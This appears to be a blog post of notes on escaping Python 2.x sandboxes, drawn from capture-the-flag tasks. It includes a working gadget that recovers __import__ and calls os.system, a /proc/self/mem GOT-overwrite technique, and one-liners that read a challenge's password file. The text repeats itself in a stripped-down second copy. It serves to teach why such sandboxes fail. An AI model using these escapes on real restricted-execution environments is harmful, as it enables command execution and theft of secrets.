_builtins_ , and similar tricks) doesn't work. And it seems this is sometimes useful since different projects tend to use a Python "sandbox" anyway. So I decided to put some links / notes here.

(btw, this is about Python 2.6/2.7, not 3.X)



# Trick 1

If __builtins__ are removed, and import doesn't work, you can use this:





classes = {}.__class__.__base__.__subclasses__()

b = classes[ 49 ]()._module.__builtins__

m = b['__import__']('os')

m.system("bla bla")





The 49 there is warnings.catch_warnings in my case, however I recall on a different python version there was another warning-related class which has the same _module thing.

This basically solves the problem of missing import.



# See also

Basically any CTF writeup about python jail/sandbox escape.



http://blog.pnuts.tk/2013/04/plaidctf-pyjail-story-of-pythons-escape.html

http://ctftime.org/task/377/

http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html

http://www.reddit.com/r/Python/comments/hftnp/ask_rpython_recovering_cleared_globals/





The PlaidCTF 2014 had a _nightmare_ task where you could execute any code, but there was nothing in the environment except stdout.

It was solvable by accessing /proc/self/mem of the Python process and overwriting something. In our case we overwritten the fopen64 address in the .got/.plt with the address of system, and were able to run any command by just using type(stdout)("command").



Write-ups:



http://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/







On the







from sys import modules

modules.clear()

del modules



__builtins__.dir = None

eval = None

input = None

execfile = None



LEN_PASS = len(open('./password','r').read()) # Length of Password



I_N_P_U_T = ( ) # only a-z0-9[]() and length of code must be <= 50



P_A_S_S_W_O_R_D = open('./password','r').read()



assert LEN_PASS >= 1

assert LEN_PASS == len(I_N_P_U_T)

for i in range(LEN_PASS):

if I_N_P_U_T[i] != P_A_S_S_W_O_R_D[i]:

from sys import exit

exit() # Wrong



# FLAGGGGGGGGGGGGGGGGGGGGGGGG

print 'Here is your flag:',open('./flag','r').read()





I played with the task quite a lot but in the end didn't manage to solve it. The organizers said there were two solutions, both really sweet:



*Solution 1*: max(open([list(vars())[5]for(password)in[0]][0]))

It basically creates a new local variable called "password" (it's the newly defined iterator in the for loop), and then uses the name of this variable (that's the list(vars())[5] - the number here might vary; on the CTF server it was 8) as the name to open the ./password file. The max() there is used to read the data from the file; list(open(...))[0] would work as well, but max is shorter.

Lesson: you actually could create new variables here



*Solution 2*: [chr(53)for(vars()[list(vars())[0]])in[1]]

This one works by replacing the LEN_PASS variable with 1 (this is done by using the the LEN_PASS variable (hint: reference) - that's the vars()[list(vars())[0]] part - as a value-iterator for the [1] array; which basically means it sets it to 1) and then returning always a given character - in this case it was "5" (of course, you had to brute-force this character on the server).

Lesson: list-for can be used to set existing variables, even if they are access in a really strange way

So as I've recently learnt Python "sandbox" (as in removing, and similar tricks) doesn't work. And it seems this is sometimes useful since different projects tend to use a Python "sandbox" anyway. So I decided to put some links / notes here.(btw, this is about Python 2.6/2.7, not 3.X)# Trick 1If __builtins__ are removed, and import doesn't work, you can use this:Thethere isin my case, however I recall on a different python version there was another warning-related class which has the same _module thing.This basically solves the problem of missing import.# See alsoBasically any CTF writeup about python jail/sandbox escape.The PlaidCTF 2014 had atask where you could execute any code, but there was nothing in the environment except stdout.It was solvable by accessing /proc/self/mem of the Python process and overwriting something. In our case we overwritten the fopen64 address in the .got/.plt with the address of system, and were able to run any command by just using type(stdout)("command").Write-ups: https://docs.google.com/document/d/1pgl19sRdNGH1mYNdjoZSRtkAFTn0TQYR7bhUDw99sew/edit#bookmark=id.hub6v8dj4caa (by q3k and me)On the 0x3004 CTF recently there was a different kind of task, which looked like this:I played with the task quite a lot but in the end didn't manage to solve it. The organizers said there were two solutions, both really sweet:: max(open([list(vars())[5]for(password)in[0]][0]))It basically creates a new local variable called "password" (it's the newly defined iterator in the for loop), and then uses the name of this variable (that's the list(vars())[5] - the number here might vary; on the CTF server it was 8) as the name to open the ./password file. The max() there is used to read the data from the file; list(open(...))[0] would work as well, but max is shorter.Lesson: you actually could create new variables here: [chr(53)for(vars()[list(vars())[0]])in[1]]This one works by replacing the LEN_PASS variable with 1 (this is done by using the the LEN_PASS variable (hint: reference) - that's the vars()[list(vars())[0]] part - as a value-iterator for the [1] array; which basically means it sets it to 1) and then returning always a given character - in this case it was "5" (of course, you had to brute-force this character on the server).Lesson: list-for can be used to set existing variables, even if they are access in a really strange way